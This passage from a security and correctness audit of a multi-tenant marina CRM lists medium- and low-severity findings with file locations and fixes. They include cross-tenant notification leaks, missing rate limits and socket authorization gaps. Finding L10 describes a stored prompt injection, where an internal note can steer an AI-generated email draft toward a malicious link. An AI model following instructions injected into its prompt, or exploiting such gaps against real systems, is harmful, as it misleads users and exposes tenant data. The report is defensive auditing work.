||||||
|
#### M5 — `berth_unlinked` rule mutates the wrong berth (surviving primary, not the unlinked one)
|
||||||
|
|
||||||
|
`src/lib/services/interest-berths.service.ts:421-433`
|
||||||
|
`removeInterestBerth` deletes the junction row first, then fires `evaluateRule('berth_unlinked', …)`, which resolves its target via `getPrimaryBerth(interestId)` — the just-unlinked berth is gone, so it targets a different still-linked berth. Default mode `off` makes it dormant, but enabling auto/suggest would corrupt an unrelated berth's status.
|
||||||
|
**Fix:** Pass the specific unlinked `berthId` to `evaluateRule` (add `targetBerthIdOverride`), evaluating before the delete. **Confidence: 0.85**
|
||||||
|
|
||||||
|
#### M6 — `unmergeClients` reversibility contract is documented but does not exist
|
||||||
|
|
||||||
|
`src/lib/services/client-merge.service.ts:13-16,134`
|
||||||
|
The header documents a full 7-day reversibility contract and `dedup_undo_window_days` setting; the snapshot is written to `clientMergeLog.mergeDetails` — but `unmergeClients` has **zero definitions** in `src/`. Operators are told merges are reversible; they are not, and merge archives the loser + re-points children destructively.
|
||||||
|
**Fix:** Implement `unmergeClients` against the stored snapshot, or remove the reversibility claims + undo-window setting. **Confidence: 0.92**
|
||||||
|
|
||||||
|
#### M7 — GDPR Article-15 export omits PII-bearing tables
|
||||||
|
|
||||||
|
`src/lib/services/gdpr-bundle-builder.ts:16-37,89-194`
|
||||||
|
The bundle omits `payments` (amounts/receipts/dates), `berthWaitingList`, `supplementalFormTokens`, and `interestFieldHistory` — all carrying client PII / cascade FKs. Payments in particular are clearly Article-15 personal data.
|
||||||
|
**Fix:** Add port-scoped queries + bundle sections for these tables. **Confidence: 0.85**
|
||||||
|
|
||||||
|
#### M8 — Bounce poller matches `document_sends` globally with no `port_id` → cross-tenant misattribution
|
||||||
|
|
||||||
|
`src/jobs/processors/imap-bounce-poller.ts:146-156`
|
||||||
|
_(Reported by both the worker-isolation lane and the email-engine lane — merged within pass 3; email lane is the more detailed.)_ The match scopes on `recipientEmail` + 7-day window only, with no `portId` filter, against a single global env IMAP inbox. If Ports A and B both emailed `victim@x.com`, a bounce is pinned to whichever sent most recently — wrong port's `document_sends` row gets `bounceStatus`/`bounceReason`, wrong rep notified (and the bounce reason text leaks into the other tenant's notification). `originalRecipient` is parsed from attacker-controllable IMAP body, so a forged NDR can mark an arbitrary cross-port send bounced.
|
||||||
|
**Fix:** Require per-port IMAP (`getSalesImapConfig(portId)`) + `eq(documentSends.portId, portId)`, or embed a port-tagged token in the outbound Message-ID and match on `inReplyTo`/References. **Confidence: 0.85**
|
||||||
|
|
||||||
|
#### M9 — Duplicate scheduled-report emails on BullMQ retry (no per-recipient idempotency)
|
||||||
|
|
||||||
|
`src/lib/services/report-render.service.ts:371-380`
|
||||||
|
`emailedAt` is stamped only after the whole recipient loop (queue `maxAttempts:3`); a transient SMTP failure on recipient N re-sends to 1..N-1 on retry, and there's no top-of-function early-return on `run.emailedAt`. Recipients (possibly external) get duplicate report PDFs.
|
||||||
|
**Fix:** Early-return when `run.emailedAt` is set; track per-recipient state, or stamp `emailedAt` before the loop and log-not-throw individual send failures. **Confidence: 0.8**
|
||||||
|
|
||||||
|
#### M10 — Socket auth never checks `userProfiles.isActive` (deactivated users keep receiving broadcasts)
|
||||||
|
|
||||||
|
`src/lib/socket/server.ts:46-55,67-89,116-149`
|
||||||
|
The HTTP gate rejects `!isActive` with 403; the socket middleware/`userCanAccessPort`/`userCanJoinEntity` check only `isSuperAdmin` + a `userPortRoles` row. A deactivated rep's live tab (valid session cookie) keeps a socket and receives every `port:`-scoped broadcast (new clients, invoice totals + names, document-signed, payment amounts, note previews) until the cookie expires.
|
||||||
|
**Fix:** Add `if (!profile.isActive) return next(new Error('Account disabled'))` in the middleware and short-circuit the can-access helpers on `!isActive`. **Confidence: 0.9**
|
||||||
|
|
||||||
|
#### M11 — Socket entity-room gate is membership-only, not permission-scoped (note-preview over-exposure)
|
||||||
|
|
||||||
|
`src/app/api/v1/clients/[id]/notes/route.ts:50-55`, `interests/[id]/notes/route.ts:43-48` + `src/lib/socket/server.ts:62-89`
|
||||||
|
`userCanJoinEntity` admits any user with a `userPortRoles` row for the entity's port without consulting role permissions. A user whose role grants zero client permissions can `join:entity {type:'client'}` and receive note-content previews (`note.content.slice(0,100)`) over the socket, whereas REST `GET /clients/[id]/notes` would 403 via `withPermission('clients','view')`.
|
||||||
|
**Fix:** Thread the role permission into `userCanJoinEntity` (require `clients.view`/`interests.view`/`berths.view`). **Confidence: 0.78**
|
||||||
|
|
||||||
|
#### M12 — Self-target guard missing on `updateUser` (admin self-deactivate / self-escalate)
|
||||||
|
|
||||||
|
`src/lib/services/users.service.ts:205` (handler `admin/users/[id]/route.ts:20`)
|
||||||
|
`removeUserFromPort` blocks self-removal but `updateUser` has no equivalent; the PATCH handler passes `params.id` through unchecked. An admin can PATCH themselves `{"isActive": false}` (self-lockout) or `{"residentialAccess": true}` (self-escalation, compounding H8) — the override route blocks self-target for exactly this reason.
|
||||||
|
**Fix:** Reject `userId === meta.userId` for privileged fields (`isActive`, `roleId`, `residentialAccess`). **Confidence: 0.8**
|
||||||
|
|
||||||
|
#### M13 — Bulk-mutation endpoints have no `bulk` rate limiter (DB-amplification DoS)
|
||||||
|
|
||||||
|
`src/app/api/v1/{clients,companies,yachts,interests,berths,residential/interests}/bulk/route.ts`
|
||||||
|
`rateLimiters.bulk` (5/min) is defined but applied to zero bulk routes (`grep` → 0 hits). Each request is a large multi-row transaction; one valid session can fire unbounded bulk archive/update/transfer. The hard-delete bulk variant _is_ limited; the ordinary mutators are not.
|
||||||
|
**Fix:** Add `withRateLimit('bulk', …)` to the bulk handlers. **Confidence: 0.75**
|
||||||
|
|
||||||
|
#### M14 — Broad `api` limiter (120/min) applied to 0 of 353 v1 routes; no edge backstop
|
||||||
|
|
||||||
|
`src/lib/api/helpers.ts:367-391` + `src/proxy.ts`
|
||||||
|
Only `hardDeleteCode`/`exports`/`ocr` pass anything to `withRateLimit`; the edge middleware does auth-cookie + CSP only, no rate limiting. The entire authenticated v1 API has no per-request ceiling, and `checkRateLimit` fails open on Redis outage.
|
||||||
|
**Fix:** Apply `withRateLimit('api', …)` as a default in `withAuth`/a shared wrapper, with tighter named limiters layered on top. **Confidence: 0.7**
|
||||||
|
|
||||||
|
#### M15 — `export-pdf` route renders fully client-supplied, unbounded payload synchronously (memory/timeout DoS + arbitrary branded-PDF content)
|
||||||
|
|
||||||
|
`src/app/api/v1/reports/export-pdf/route.ts:29-60,105`
|
||||||
|
`payloadSchema` validates shape only — no `.max()` on `sections`/`rows` — then `renderToBuffer` runs inline on the request thread (gated only by `reports.view_dashboard`). A huge payload OOMs/stalls Node; content is whatever the client sent (no server re-derivation), so arbitrary text lands in a "Port Nimara"-branded PDF. The worker path caps at `REPORT_ROW_CAP=1000`; this route doesn't.
|
||||||
|
**Fix:** Add `.max()` bounds + a total-cell budget, and/or move the render to the BullMQ worker. **Confidence: 0.8**
|
||||||
|
|
||||||
|
#### M16 — S3 `presignUpload` constrains neither content-type nor size; doc comment falsely claims content-length-range
|
||||||
|
|
||||||
|
`src/lib/storage/s3.ts:285-292` (caller doc `pdf-upload-url/handlers.ts:1-5`)
|
||||||
|
`presignedPutObject(bucket, key, expiry)` signs only key+expiry; `opts.contentType`/size are dropped. A presigned-PUT holder can upload any bytes/type/size for 15 min. Blast radius is bounded because berth-pdf + brochure register paths re-HEAD + magic-byte-probe and delete non-`%PDF-` — but any future caller forgetting the re-check is an unvalidated-upload hole, and the object lives uncapped between upload and register.
|
||||||
|
**Fix:** Move S3 to `presignedPostPolicy` (signs content-length-range + content-type), or document loudly that every consumer MUST re-validate; correct the misleading comment now. **Confidence: 0.9**
|
||||||
|
|
||||||
|
#### M17 — Filesystem proxy PUT enforces global 50 MB, not the advertised per-port `berth_pdf_max_upload_mb` (15 MB)
|
||||||
|
|
||||||
|
`src/app/api/storage/[token]/route.ts:172-211`
|
||||||
|
The presign handler returns `maxBytes = getMaxUploadMb(portId)*1MB`, but the filesystem proxy PUT only checks `MAX_FILE_SIZE = 52_428_800`. A rep can upload 50 MB to a berth capped at 15 MB. Magic-byte gate still requires `%PDF-`, so not arbitrary-content; it's an advertised-vs-enforced policy mismatch.
|
||||||
|
**Fix:** Embed the per-port byte cap in the token payload at presign and enforce it in the proxy PUT. **Confidence: 0.85**
|
||||||
|
|
||||||
|
#### M18 — Single-use storage token consumed before the file is confirmed servable → permanently bricks emailed URLs on transient first-click failure
|
||||||
|
|
||||||
|
`src/app/api/storage/[token]/route.ts:75-102`
|
||||||
|
The GET handler burns the SET-NX replay key (TTL pinned to token expiry, up to 24h/25 days) **before** `fs.stat`. A transient `fs.stat` error, NFS hiccup, slow-stream disconnect, or any 5xx after line 75 leaves the token marked seen — every later attempt returns "Token already used" for the token's full life. These URLs are emailed to customers verbatim. Availability, not security.
|
||||||
|
**Fix:** Set the replay key only after the response is successfully committed, or `DEL` it on error/`ENOENT` paths so a genuine retry succeeds. **Confidence: 0.85**
|
||||||
|
|
||||||
|
#### M19 — Per-conversion `toFixed(2)` rounding inside row-by-row accumulation compounds drift; inverse rates stored pre-rounded
|
||||||
|
|
||||||
|
`src/lib/services/currency.ts:23` + `src/lib/services/reports/financial.service.ts` (all sums: `:155,384,406,441`)
|
||||||
|
`convert` rounds every conversion (`Number((amount*rate).toFixed(2))`); reports call it once per row inside accumulation loops, so each row is cents-rounded before adding — error accumulates up to ~±0.5¢×N. `refreshRates` stores inverse rates pre-rounded to 6dp, so `X→USD` and `USD→X` aren't exact reciprocals. Multi-currency `revenueCollected`/`netContribution`/`pipelineExpected` won't reconcile to bank statements.
|
||||||
|
**Fix:** Sum in source currency grouped by currency, convert each bucket once at the end, round only the final figure; store rates at full precision. **Confidence: 0.8**
|
||||||
|
|
||||||
|
#### M20 — Public website intake inserts a primary `interest_berths` row with `isInEoiBundle:false`, violating the primary↔bundle invariant
|
||||||
|
|
||||||
|
`src/lib/services/public-interest.service.ts:237-244`
|
||||||
|
The intake path raw-inserts `{ isPrimary:true, isSpecificInterest:true, isInEoiBundle:false }`. The canonical `upsertInterestBerthTx` forces `isInEoiBundle=true` for any primary; migration `0083` exists specifically to repair this exact drift, and there is no DB trigger/check enforcing the invariant. Every website-originated multi-berth interest gets its primary berth silently excluded from the EOI bundle, so `buildEoiContext` (`eoi-context.ts:147-152`) omits it from the multi-berth range field on the signed document until a rep re-touches the link via the service.
|
||||||
|
**Fix:** Call `upsertInterestBerthTx(tx, newInterest.id, berthId, { isPrimary:true, isSpecificInterest:true, addedBy:'public-submission' })` instead of the raw insert. **Confidence: 0.78**
|
||||||
|
|
||||||
|
#### M21 — Webhook test send ignores `isActive` while redeliver enforces it
|
||||||
|
|
||||||
|
`src/lib/services/webhooks.service.ts:357-397`
|
||||||
|
`redeliverWebhookDelivery:301` hard-rejects `!webhook.isActive`, but `sendTestWebhook` checks only ownership and never inspects `isActive`. An admin who disabled a webhook (e.g. because its endpoint was flagged) can still force a live signed POST via the test button — the most convenient trigger for the H1 redirect SSRF since the admin controls timing and event type.
|
||||||
|
**Fix:** Mirror redeliver — reject test sends to inactive webhooks, or document the bypass deliberately. **Confidence: 0.82**
|
||||||
|
|
||||||
|
#### M22 — Dead-letter alert fans out to all super-admins across all ports, leaking the failing webhook's name cross-tenant
|
||||||
|
|
||||||
|
`src/lib/queue/workers/webhooks.ts:312-331`
|
||||||
|
The super-admin query has no `portId` filter, so a delivery failure on Port A notifies every super-admin of every tenant with a `description` embedding admin-controlled `webhook.name` (max 200 chars) and a `/admin/webhooks/{id}` link — a cross-tenant info leak plus a minor injection vector into other tenants' notification feeds. The notification row's `portId` is the originating port, so it may surface under the wrong port context.
|
||||||
|
**Fix:** Scope the super-admin lookup to `portId`, or route to an explicitly cross-tenant ops channel. **Confidence: 0.78**
|
||||||
|
|
||||||
|
#### M23 — Invoice totals computed in JS float and persisted via `String(...)` into unbounded `numeric`; `0%` discount coerced to default 2%
|
||||||
|
|
||||||
|
`src/lib/services/invoices.ts:250,270,273,322-327,350` (cols: `src/lib/db/schema/financial.ts:109-114`)
|
||||||
|
`subtotal`/`discountAmount`/`total`/line-item `total` are float-computed and written with `String(...)` into `numeric` columns that have no precision/scale, persisting values like `"0.30000000000000004"` and `24.690999999999999`. Separately, `discountPct = Number(setting.value) || 2` (`:264`) coerces a legitimately-configured `0%` net10 discount to 2%. Blast radius capped today (invoices module default-disabled, zero dev rows), but any port that enables it bills clients these values.
|
||||||
|
**Fix:** Round each money output to 2dp before `String(...)`; give the columns explicit `(12,2)`; use `setting.value ?? 2` so a configured 0% is honored. **Confidence: 0.85**
|
||||||
|
|
||||||
|
#### M24 — Public file gate keys off user-settable `category`; any authed user can make own-port files publicly streamable _(pass-1, confirmed)_
|
||||||
|
|
||||||
|
`src/app/api/public/files/[id]/route.ts:26` + `src/lib/validators/files.ts:11,18` + `src/lib/services/files.ts:186`
|
||||||
|
`category` is a free string with no allow-list, so a user can self-set `category=branding` to make their own-port file publicly streamable + CDN-cached 24h. No cross-tenant theft (ids are UUIDv4).
|
||||||
|
**Fix:** Reserve `branding` (server-controlled) or add an explicit `is_public` column. **Confidence: high (confirmed)**
|
||||||
|
|
||||||
|
#### M25 — Dry-run preview lies about intra-file duplicate clients; no DB unique backstop on client-contact email
|
||||||
|
|
||||||
|
`src/lib/import/classify.ts:91-108` vs `src/lib/import/commit.ts:81-118` (index: `src/lib/db/schema/clients.ts:104-109`)
|
||||||
|
`classifyRows` never writes, so two file rows with the same brand-new email both classify `insert`; on commit the interleaved classify-then-insert ordering turns row 2 into a `skip`. For companies/berths a real unique index makes this a clean row-error, but `clientContacts` email/phone indexes are **plain `index(...)`, not unique** — the only thing preventing duplicate clients is the sequential ordering. Any future batching/parallelizing/pre-classifying the commit silently creates duplicate clients with no DB guard. (Note: the import engine is currently only wired into the BullMQ worker; no API route enqueues it yet, so this is latent until the UI lands.)
|
||||||
|
**Fix:** Add a partial unique index on `client_contacts(port, lower(value)) WHERE channel='email'`; have `classifyRows` track in-file match keys so preview reflects commit. **Confidence: 0.85**
|
||||||
|
|
||||||
|
#### M26 — Import undo only reverses inserts; `update-matches` mutations are irreversible
|
||||||
|
|
||||||
|
`src/lib/import/commit.ts:139-187`
|
||||||
|
`undoBatch` filters `action='inserted'` (`:162`), so an `update-matches` run that overwrote 500 companies' `taxId`/`billingEmail` or 500 berths' `price`/`dimensions` cannot be rolled back — the ledger stores only the entity id, not the pre-image; undo reports `deleted:0` and leaves every mutation. Separately, client undo `db.delete(clients)` relies on FK violations to block deletes but can't distinguish dependents the import created from those a user added later, and gives the operator no reason a row blocked beyond a row number.
|
||||||
|
**Fix:** Capture a JSON pre-image in `import_batch_rows` for updated rows and support update-undo; document `update-matches` as destructive-without-rollback until then; carry the blocking FK/table in blocked-row reporting. **Confidence: 0.8**
|
||||||
|
|
||||||
|
#### M27 — No idempotency/status guard on import commit; a re-enqueued batch re-imports and duplicates the row ledger
|
||||||
|
|
||||||
|
`src/lib/import/commit.ts:76-79` + `src/lib/queue/workers/import.ts:34-52`
|
||||||
|
`commitBatch` unconditionally sets `status:'committing'` and re-processes every row; the worker never checks `batch.status`. `maxAttempts:1` blocks BullMQ auto-retry, but a future commit endpoint or operator re-trigger re-runs the whole file — appending a second full set of `import_batch_rows` so undo later sees both run-1 inserts and run-2 skips and header counts no longer reconcile with the ledger undo trusts.
|
||||||
|
**Fix:** Early-return in the worker when `batch.status` is not in `{dry_run, uploaded}`; gate the transition with `UPDATE … WHERE status IN (…)` and bail on 0 rows. **Confidence: 0.8**
|
||||||
|
|
||||||
|
#### M28 — Inconsistent residential pipeline-stage validation: bulk rejects custom stages, per-row PATCH accepts arbitrary garbage
|
||||||
|
|
||||||
|
`src/app/api/v1/residential/interests/bulk/route.ts:22-27` vs `src/lib/validators/residential.ts:73-83` + `src/lib/services/residential.service.ts:553`
|
||||||
|
Bulk hardcodes `z.enum(PIPELINE_STAGES)` (the 7 built-ins), so after any admin stage customization a bulk `change_stage` to a custom stage 400s. The per-row path uses `z.string()` and writes it straight through with no membership check, so `PATCH {pipelineStage:"anything"}` parks an interest on a non-existent stage that then surfaces as an orphan in `findOrphanInterests` and distorts funnel reports.
|
||||||
|
**Fix:** Replace the hardcoded enum with a runtime check against `listStages(portId)` in both the bulk handler and `updateResidentialInterest`. **Confidence: 0.85**
|
||||||
|
|
||||||
|
#### M29 — Tenancies auto-create re-enables a module an admin explicitly disabled
|
||||||
|
|
||||||
|
`src/lib/services/tenancies-module.service.ts:35-69,76-87` + `berth-tenancies.service.ts:150-151` (+ `documents.service.ts:1687` webhook path)
|
||||||
|
`createPending` calls `enableTenanciesModule(portId)` unconditionally inside its tx, UPSERTing the setting back to `true`, and the webhook `autoCreatePendingTenancies` deliberately does not gate on `isTenanciesModuleEnabled`. So: admin disables Tenancies → a Reservation Agreement completes → the module flips itself back on and reappears in the sidebar, contradicting the "explicit false always wins" precedence.
|
||||||
|
**Fix:** Only call `enableTenanciesModule` when the setting is unset (respect an explicit `false`), or have it no-op when a stored `false` exists. **Confidence: 0.72**
|
||||||
|
|
||||||
|
_(MEDIUM tier = 29 distinct findings, M1–M29: M1–M18 carry the pass-3 MEDIUMs, M19–M29 carry the pass-1+2 MEDIUMs. No within-tier merges occurred at MEDIUM — all merges were in the CRITICAL/HIGH tiers.)_
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### LOW
|
||||||
|
|
||||||
|
#### L1 — `clearInterestOutcome` reopen-stage default references a dead `'completed'` sentinel
|
||||||
|
|
||||||
|
`src/lib/services/interests.service.ts:1463-1465`
|
||||||
|
`pipelineStage === 'completed' ? 'qualified' : …` is dead after the 9→7 migration; any legacy row still holding `'completed'` reopens to `qualified` rather than its true pre-close stage.
|
||||||
|
**Fix:** Drop the dead branch or route via `canonicalizeStage`. **Confidence: 0.7**
|
||||||
|
|
||||||
|
#### L2 — `STAGE_TRANSITIONS` blocks the only forward edge into `nurturing` from `enquiry`
|
||||||
|
|
||||||
|
`src/lib/constants.ts:140-148`
|
||||||
|
`enquiry: ['qualified','eoi']` omits `nurturing`; a new enquiry must pass through `qualified` (or override) to be parked as nurturing. Minor state-graph/UX gap.
|
||||||
|
**Fix:** Add `nurturing` to the `enquiry` transition set. **Confidence: 0.6**
|
||||||
|
|
||||||
|
#### L3 — Berth-recommender stage-scale mismatch classifies `reservation`-stage berths as Tier D ("late stage") and hides them `[needs-confirm]`
|
||||||
|
|
||||||
|
`src/lib/services/berth-recommender.service.ts:213` vs `:556-568`
|
||||||
|
`LATE_STAGE_THRESHOLD` derives from a JS map (`deposit_paid=5`) but the SQL CASE uses a different 1-7 scale (`reservation=5`). `classifyTier` compares SQL-scale `>= 5`, so reservation-stage interests trip late-stage and the berth is suppressed when `tier_ladder_hide_late_stage` is on (default true). Lane rated this HIGH; demoted to LOW + `[needs-confirm]` — impact is recommender-ranking only (no money/public-status effect) and rests on the two scales genuinely diverging at runtime; warrants a direct trace before fixing.
|
||||||
|
**Fix:** Make the SQL CASE emit the same scale as `STAGE_ORDER`, single source of truth. **Confidence: 0.8 (code), severity disputed.**
|
||||||
|
|
||||||
|
#### L4 — Recommender `classifyTier` dead branch + unreachable "under offer" (space) variant
|
||||||
|
|
||||||
|
`src/lib/services/berth-recommender.service.ts:240-242`
|
||||||
|
`return t.activeInterestCount > 0 ? 'C' : 'C'` is dead; `normStatus === 'under offer'` (space) never matches the canonical `under_offer`. Cosmetic; behavior correct.
|
||||||
|
**Fix:** Collapse to `if (normStatus === 'under_offer') return 'C';`. **Confidence: 0.95**
|
||||||
|
|
||||||
|
#### L5 — Orphaned storage blob + `files` row on mid-render retry
|
||||||
|
|
||||||
|
`src/lib/services/report-render.service.ts:278-296` + `reports.service.tsx:276-307`
|
||||||
|
Neither path guards the `backend.put` + `files` insert against re-execution; a crash between put and the status/`fileId` write leaves an unreferenced orphan on BullMQ retry (`reports` maxAttempts 3). Correct `portId`; cost/cosmetic only.
|
||||||
|
**Fix:** Deterministic storage key per run + `onConflictDoNothing`, or early-return when the run already has a `storageKey`/`fileId`. **Confidence: 0.7**
|
||||||
|
|
||||||
|
#### L6 — Non-atomic SELECT-then-UPDATE in report scheduler would double-fire under multiple worker replicas `[needs-confirm]`
|
||||||
|
|
||||||
|
`src/lib/queue/workers/reports.ts:31-90`
|
||||||
|
Both pollers `SELECT WHERE nextRunAt <= now` then `UPDATE nextRunAt` with no `FOR UPDATE SKIP LOCKED`. Safe today (single `crm-worker`, concurrency 1) but a foot-gun the moment `MULTI_NODE_DEPLOYMENT` adds a replica → duplicate runs + email blasts.
|
||||||
|
**Fix:** Atomic claim (`UPDATE … WHERE id IN (SELECT … FOR UPDATE SKIP LOCKED) RETURNING`). **Confidence: 0.75 (latent).**
|
||||||
|
|
||||||
|
#### L7 — `send-notification-email` omits `portId`, bypassing per-port send-from / branding
|
||||||
|
|
||||||
|
`src/lib/queue/workers/notifications.ts:95-99`
|
||||||
|
Unlike every other `sendEmail` call site, this one omits `portId`, so `getPortEmailConfig` is never consulted and the mail goes via the global default SMTP/From. Subject prefix is port-derived but the envelope From is not — in multi-port, tenant B's notifications send from tenant A's/global identity.
|
||||||
|
**Fix:** Pass `notif.portId` to `sendEmail`. **Confidence: 0.8**
|
||||||
|
|
||||||
|
#### L8 — Worker-local `recordAiUsage` duplicate diverges from the non-throwing service version (budget-accounting drift)
|
||||||
|
|
||||||
|
`src/lib/queue/workers/ai.ts:33-47`
|
||||||
|
The worker defines its own `recordAiUsage` (bare `db.insert`, trusts caller-passed `totalTokens`) instead of importing the service version (try/catch, derives `totalTokens = input+output`). If `usage.total_tokens` diverges from prompt+completion, budget accounting corrupts.
|
||||||
|
**Fix:** Delete the worker copy, call the service `recordAiUsage`. **Confidence: 0.7**
|
||||||
|
|
||||||
|
#### L9 — AI spend cap disabled by default (`DEFAULT_BUDGET.enabled=false`)
|
||||||
|
|
||||||
|
`src/lib/services/ai-budget.service.ts:34,152-155`
|
||||||
|
`checkBudget` short-circuits to `{ ok:true, remaining:+Infinity }` when `!enabled`, so a port that never opens the AI-budget screen has no cap even on the OCR path that does call `checkBudget`. Default posture is "unlimited AI spend per tenant."
|
||||||
|
**Fix:** Ship a conservative enabled default, or warn when AI features are flag-enabled while budget is disabled. **Confidence: 0.8**
|
||||||
|
|
||||||
|
#### L10 — Stored prompt injection via interest notes / email subjects (unsanitized into AI prompt)
|
||||||
|
|
||||||
|
`src/lib/queue/workers/ai.ts:165,168`
|
||||||
|
`additionalInstructions` is sanitized + data-fenced, but recent notes (`n.content.slice(0,200)`) and recent email subjects are injected raw in the same user-role message, above the fenced block. Insider/stored-injection only (notes are internal-rep-written, not portal/public); output is bounded (10KB cap, JSON-only `response_format`) so no trivial system-prompt exfil — but a planted note can steer a colleague's generated draft (malicious link, off-brand content).
|
||||||
|
**Fix:** Run notes + subjects through `sanitizeForPrompt` + the same data-fence. **Confidence: 0.85**
|
||||||
|
|
||||||
|
#### L11 — Documenso v2: persisting a `null` `documensoNumericId` makes `DOCUMENT_COMPLETED` webhooks silently no-op `[needs-confirm]`
|
||||||
|
|
||||||
|
`src/lib/services/documenso-client.ts:578` + persist `document-templates.ts:737,849`
|
||||||
|
`normalizeDocument` derives `numericId` only when `r.id` is numeric; v2 webhooks carry only the numeric pk as `payload.id` while `documents.documensoId` holds the `envelope_xxx` string. If `/template/use` doesn't surface the numeric pk under `r.id` (tests assert `numericId: null` is routine), `resolveWebhookDocument` matches neither column → completion dropped (signed PDF never downloads, stage never advances, no completion email/tenancy) until the poll worker reconciles via `documensoId`. Degraded-not-broken → HIGH per lane, but lane self-rated confidence 0.6 (depends on the exact `/template/use` v2 response shape, unobserved live) → `[needs-confirm]`.
|
||||||
|
**Fix:** Re-fetch `getDocument(created.id)` for an authoritative `numericId`, or assert non-null at persist with a GET fallback; add a v2 numeric-webhook round-trip integration test. **Confidence: 0.6**
|
||||||
|
|
||||||
|
#### L12 — No normalization/validation of admin-set Documenso API URL → silent double-pathing 404s
|
||||||
|
|
||||||
|
`src/lib/services/port-config.ts:444` + `validators/settings.ts:4-5`
|
||||||
|
`upsertSettingSchema` validates `value: z.unknown()`; the admin override (canonical) isn't `.url()`-checked like the env var. An admin pasting `…/api/v1` or a trailing slash yields `…/api/v1/api/v2/envelope/create` → 404 on every send/download, surfaced only as a generic `DOCUMENSO_UPSTREAM_ERROR`.
|
||||||
|
**Fix:** Strip trailing `/api/v1`|`/api/v2`+slashes and `z.string().url()`-validate the override key. **Confidence: 0.85**
|
||||||
|
|
||||||
|
#### L13 — Documenso `completed` event insert lacks `signatureHash` + `onConflictDoNothing` (duplicate timeline rows)
|
||||||
|
|
||||||
|
`src/lib/services/documents.service.ts:1746-1750`
|
||||||
|
Unlike every sibling handler, the completion insert has no conflict clause; a failed-download-then-retry accumulates duplicate `completed` rows. Separately, the `viewed` insert (line 1903) passes `signatureHash` but not `recipientEmail`, so `idx_de_per_recipient_dedup` has a null key and can't dedup v2 multi-delivery opens. Cosmetic; no state corruption (completion gated by `status='completed' && signedFileId`).
|
||||||
|
**Fix:** Add `signatureHash` + `.onConflictDoNothing()` to the completed insert; populate `recipientEmail` on viewed. **Confidence: 0.9**
|
||||||
|
|
||||||
|
#### L14 — GDPR builder docstring overstates `portId` filtering
|
||||||
|
|
||||||
|
`src/lib/services/gdpr-bundle-builder.ts:78-82` vs `:111-119,160-162,172-175`
|
||||||
|
The docstring claims every query filters by `portId`, but `clientContacts/clientAddresses/clientRelationships/clientNotes/clientTags/formSubmissions/scratchpadNotes/portalUsers` filter by `clientId` only. Safe (clientId is a globally-unique UUID, client pre-validated against `portId`), but the comment overstates the guarantee.
|
||||||
|
**Fix:** Add redundant `portId` predicates (defense-in-depth) or correct the comment. **Confidence: 0.8**
|
||||||
|
|
||||||
|
#### L15 — Hard-deleting a merge-winner NULLs loser redirect breadcrumbs (`merged_into_client_id`)
|
||||||
|
|
||||||
|
`src/lib/db/migrations/0042_missing_fk_constraints.sql:156` + `client-hard-delete.service.ts`
|
||||||
|
The self-FK is `ON DELETE SET NULL`; hard-delete doesn't proactively migrate pointers, so archived losers' redirect breadcrumb silently breaks. Benign (no FK violation, no cross-tenant issue).
|
||||||
|
**Fix:** Note in the hard-delete cascade comment. **Confidence: 0.75**
|
||||||
|
|
||||||
|
#### L16 — Email/bounce hardening nits (parsed recipient not validated; raw header/footer HTML; subject-token CRLF)
|
||||||
|
|
||||||
|
`src/lib/email/bounce-parser.ts:95-107`, `src/lib/email/shell.ts:83,85` + `port-config.ts:606-607`, `src/lib/email/template-overrides.ts:36-39`
|
||||||
|
(a) `originalRecipient` from untrusted IMAP body is never run through `assertEmailValid` before query/notify (no SQLi/injection, but can falsely match/pollute the notification string); (b) `emailHeaderHtml`/`emailFooterHtml` interpolated raw into every transactional email — intentional `manage_settings`-gated branding feature, so self-XSS-by-highest-privilege; (c) `applySubjectTokens` does no CRLF neutralization (nodemailer strips CR/LF, so safe in practice).
|
||||||
|
**Fix:** Validate the parsed recipient against `RFC5322_EMAIL`; optionally allowlist-sanitize header/footer HTML for multi-admin tenants. **Confidence: 0.6–0.8**
|
||||||
|
|
||||||
|
#### L17 — Storage hardening nits (Content-Type echoed from signed token; dev HMAC seed reuse; access-key in fingerprint)
|
||||||
|
|
||||||
|
`src/app/api/storage/[token]/route.ts:109`, `src/lib/storage/filesystem.ts:431-446` + `index.ts:211-213`
|
||||||
|
(a) GET proxy sets `Content-Type` from signed `payload.c` with no allow-list (`nosniff` + sometimes-`attachment` mitigate; issuer-trust only, not forgeable); (b) dev HMAC fallback reuses `BETTER_AUTH_SECRET` (guarded to dev, throws in prod — acceptable); (c) `fingerprint()` JSON-stringifies the decrypted S3 access key into a process-lifetime string (secret key stays encrypted). Low impact, in-process only.
|
||||||
|
**Fix:** Constrain `payload.c` to `ALLOWED_MIME_TYPES` (or force `attachment`); fingerprint on a hash of config, not raw decrypted values. **Confidence: 0.6–0.75**
|
||||||
|
|
||||||
|
#### L18 — UI: decorative emoji violate the named-icon-component doctrine (3 sites)
|
||||||
|
|
||||||
|
`src/components/documents/hub-root-view.tsx:156` (`folder`), `src/components/admin/documenso/template-sync-button.tsx:328` (`warning`), `src/components/admin/onboarding-checklist.tsx:265` (party toast)
|
||||||
|
MEMORY explicitly flags decorative emoji as cheap/AI-like; the app uses Lucide icons everywhere else. _(Bundled — 3 instances of one rule violation.)_
|
||||||
|
**Fix:** Replace with `<Folder>`/`<AlertTriangle>` and drop the toast party emoji (toasts already render a status icon). **Confidence: ~0.9**
|
||||||
|
|
||||||
|
#### L19 — UI: NotesList runs a 30s wall-clock interval on every mount + `use-create-from-url` stale-closure suppression
|
||||||
|
|
||||||
|
`src/components/shared/notes-list.tsx:185-189`, `src/hooks/use-create-from-url.ts:17-26`
|
||||||
|
(a) `setInterval(setNow, 30_000)` ticks unconditionally to drive the edit-countdown, re-rendering every open NotesList even when nothing is editable; (b) `onOpen` is excluded from effect deps via eslint-disable — currently safe (fires once, strips the param) but fragile.
|
||||||
|
**Fix:** Schedule the interval only when a note is inside its edit window; wrap `onOpen` in a ref/`useCallback`. **Confidence: 0.55–0.7**
|
||||||
|
|
||||||
|
#### L20 — Socket: port-less connection allowed; `join:entity` `type` not runtime-validated; connection-state-recovery restores rooms
|
||||||
|
|
||||||
|
`src/lib/socket/server.ts:108,133-144,164-172`
|
||||||
|
